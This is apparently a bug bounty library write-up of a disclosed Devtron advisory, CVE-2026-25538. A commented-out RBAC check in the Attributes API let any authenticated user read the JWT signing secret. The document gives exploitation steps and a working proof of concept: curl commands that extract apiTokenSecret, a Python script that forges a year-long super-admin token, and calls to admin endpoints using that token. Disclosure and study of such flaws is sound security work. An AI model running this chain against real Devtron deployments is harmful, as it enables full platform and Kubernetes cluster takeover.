# Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage

Devtron's Attributes API lacked RBAC, letting any authenticated user read apiTokenSecret and forge super-admin JWTs for full platform and cluster control.

- Payout: Research
- Severity: high
- Program: Devtron
- Found by: b0b0haha, spingARbor, lixingquzhi
- Disclosed: 2026-02-04
- CVE: CVE-2026-25538
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8wpc-j9q9-j5m2
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8wpc-j9q9-j5m2
- Tags: area:cloud domain:cloud domain:web impact:internal-access impact:privesc kind:research platform:ghsa sev:high tech:go tech:jwt tech:kubernetes technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation vuln:secrets-leak

**Target:** Devtron orchestrator REST API (/orchestrator/attributes)
**Root cause:** The RBAC enforcer check in GetAttributesByKey was commented out, leaving only a logged-in-user check, so any authenticated user could read arbitrary attribute keys including apiTokenSecret.
**Steps:**
1. Login via `POST /orchestrator/api/v1/session` with `{"username":"admin","password":"..."}` and extract `.result.token`.
2. Request `GET /orchestrator/attributes?key=apiTokenSecret` with header `token: <USER_TOKEN>` to retrieve the HMAC signing secret.
3. Forge an HS256 JWT with payload `{"sub":"1","email":"admin","iss":"devtron","roles":["role:super-admin___"]}` signed with the leaked secret.
4. Use forged token against admin endpoints like `GET /orchestrator/user/all`, `/orchestrator/cluster`, `/orchestrator/app/list`.
**How found:** Source review of AttributesRestHandlder.go revealed the RBAC Enforce block was commented out, and tracing apiTokenSecret usage in ApiTokenSecretService.go showed the same key signs all API tokens.
**Exploitation:** Any low-privileged authenticated user reads the global apiTokenSecret in one request, then offline-forges HS256 JWTs for arbitrary identities (e.g. super-admin) with long expiry, gaining full control of Devtron and lateral access to the underlying Kubernetes cluster.
**Escalation:** Leaked signing key enables forging tokens for any user/role, escalating from CI/CD Developer to super-admin and pivoting to Kubernetes cluster credentials and CI/CD pipeline tampering.
**Insight:** Grep for commented-out `enforcer.Enforce` blocks in REST handlers; any generic key-value attributes endpoint is a prime target since it may store signing secrets referenced elsewhere in the codebase.

## Proof of concept (copied exactly from the original report)

**Unauthenticated attributes request leaking apiTokenSecret**

```
curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
  -H "token: ${USER_TOKEN}" | jq .

# Extract secret
API_SECRET=$(curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
  -H "token: ${USER_TOKEN}" | jq -r '.result.value')

echo "Leaked API Token Secret: ${API_SECRET:0:20}..."
echo "Secret length: ${#API_SECRET} characters"
```

**Python script forging admin JWT with leaked secret**

```
cat > forge_token.py << 'EOF'
#!/usr/bin/env python3
import jwt
import time
import sys
import json

def forge_admin_token(secret, user_id=1, email="admin"):
    exp_time = int(time.time()) + 365 * 24 * 60 * 60

    payload = {
        "sub": str(user_id),
        "email": email,
        "iat": int(time.time()),
        "exp": exp_time,
        "iss": "devtron",
        "roles": ["role:super-admin___"]
    }

    token = jwt.encode(payload, secret, algorithm="HS256")
    return token

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python forge_token.py <apiTokenSecret>")
        sys.exit(1)

    secret = sys.argv[1]
    admin_token = forge_admin_token(secret, user_id=1, email="admin")
    print(f"[+] Forged Admin Token:")
    print(admin_token)
    print()

    decoded = jwt.decode(admin_token, secret, algorithms=["HS256"])
    print(f"[+] Token Payload:")
    print(json.dumps(decoded, indent=2))
EOF

chmod +x forge_token.py

# Forge admin token
python3 forge_token.py "${API_SECRET}"
```

**Forged token accessing admin APIs**

```
FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)

# Test 1: Get all users (requires admin permission)
echo "[*] Test 1: Getting user list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \
  -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}'

# Test 2: Get cluster list (requires admin permission)
echo "[*] Test 2: Getting cluster list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \
  -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}'

# Test 3: Get all applications
echo "[*] Test 3: Getting application list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/app/list" \
  -H "token: ${FORGED_TOKEN}" | jq '.result'
```

